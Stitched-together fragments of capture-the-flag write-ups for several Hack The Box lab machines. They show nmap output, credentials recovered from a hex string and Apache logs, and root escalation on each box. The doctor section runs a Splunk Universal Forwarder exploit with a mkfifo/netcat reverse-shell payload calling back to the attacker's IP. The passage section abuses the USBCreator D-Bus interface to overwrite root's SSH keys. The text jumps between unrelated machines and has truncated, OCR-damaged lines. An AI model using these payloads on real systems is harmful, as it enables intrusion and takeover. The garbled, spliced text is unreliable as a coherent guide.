```
7a6c6b657e5533456e7638326d322d
```

Decoding it we obtain the root password:

```
echo "7a6c6b657e5533456e7638326d322d" | xxd -r -p z1ke~U3Env82m2-
```

Finally, we can just access root account:

root

```
sysadmin@compromised:/lib$ su root
Password:
root@compromised:/lib# id
uid=0(root) gid=0(root) groups=0(root)
root@compromised:/lib# whoami
```

```
Supported Methods: GET HEAD POST OPITONS
      http-server-header: Apache/2.4.29 (Ubuntu)
47
     http-title: Legitimate Rubber Ducks | Online Store
48
      Requested resource was http://compromised.htb/shop/en/
49
     Warning: OSScan results may be unreliable because we could i
50
     Aggressive OS guesses: Linux 2.6.32 (91%), Crestron XPanel (
51
     No exact OS matches for host (test conditions non-ideal).
52
     Uptime guess: 35.219 days (since Mon Aug 10 15:46:07 2020)
53
     Network Distance: 2 hops
54
     TCP Sequence Prediction: Difficulty=264 (Good luck!)
55
     IP ID Sequence Generation: All zeros
56
     Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
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59
     TRACEROUTE (using port 80/tcp)
     HOP RTT
60
                   ADDRESS
61
        278.78 ms 10.10.14.1
62
     2 278.87 ms compromised.htb (10.10.10.207)
63
     NSE: Script Post-scanning.
64
     Initiating NSE at 21:01
65
     Completed NSE at 21:01, 0.00s elapsed
66
     Initiating NSE at 21:01
67
     Completed NSE at 21:01, 0.00s elapsed
68
     Initiating NSE at 21:01
69
     Completed NSE at 21:01, 0.00s elapsed
70
     Read data files from: /usr/bin/../share/nmap
71
    OS and Service detection performed. Please report any incorr
72
     Nmap done: 1 IP address (1 host up) scanned in 40.99 second:
73
                Raw packets sent: 2088 (95.460KB) | Rcvd: 42 (2.1
74
```

```
web@doctor:/var/log/apache2$ cat backup | grep password
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 5
web@doctor:/var/log/apache2$ su shaun
Password:
shaun@doctor:/var/log/apache2$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
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Privilege Escalation

Going back to the nmap scan, we found that port 8089 was open running Splunk.

Inside /opt directory there was another dir called splunkforwarder:

```
1 shaun@doctor:/opt$ ls
2 clean splunkforwarder
```

Searching for splunkforwarder privilege escalation I came across the following exploit

This github repo contains two exploits, a local and a remote one, as the exploit was written in python2 and the machine had python3 I decided to go with the remote exploit.

With this exploit we can abuse Splunk Universal Forwarder by configuring it to use our machine as deployment server, then we the connection is done our machine will send a malicious code as

```
python splunk.py --host doctor.htb --port 8089 --lhost 10.10.14.161 --username shaun --pa
--payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.161 4444 >/tmp/
[.] Authenticating...
 +1 Authenticated
 .] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpPYWA O.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.161:8181/
10.129.18.114 - - [27/Sep/2020 22:36:35] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
```

Checking netcat we have obtained a root shell:

```
1    nc -lvnp 4444
2    listening on [any] 4444 ...
3    connect to [10.10.14.161] from (UNKNOWN) [10.129.18.114] 38832
4    # whoami
5    root
6    # id
7    uid=0(root) gid=0(root) groups=0(root)
8    # hostname
9    doctor
```

Now we can just su as user paul:

```
www-data@passage:/var/www$ su paul
password:
paul@passage:/var/www$ whoami
paul
```

Privilege Escalation

After enumerating the machine for a while, I only found a private ssh key in paul's home directory, I downloaded it and tried to use it with user naday and it worked:

```
1 ssh nadav@10.10.10.206 -i id_rsa
2 nadav@passage:~$ whoami
3 nadav
```

Inside nadav's home directory there was a .viminfo file which highlighted the machine was using USBCreator D-Bus interface:

/etc/dhus-1/system.d/com.ubu<u>ntu.</u>USBCreator.conf

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Running id as nadav reveals it has sudo group privileges, so the machine is vulnerable to this exploit:

```
1    nadav@passage:~$ id
2    uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip)
```

In order to obtain a root shell, I will upload my ssh public key and overwrite root authorized keys with it, so we can ssh into root.

```
1  nadav@passage:~$ nano authorized_keys
2  nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com
```

Finally, we can ssh into root without providing any password:

```
ssh root@10.10.10.206
root@passage:~# id
uid=0(root) gid=0(root) groups=0(root)
root@passage:~# whoami
root
```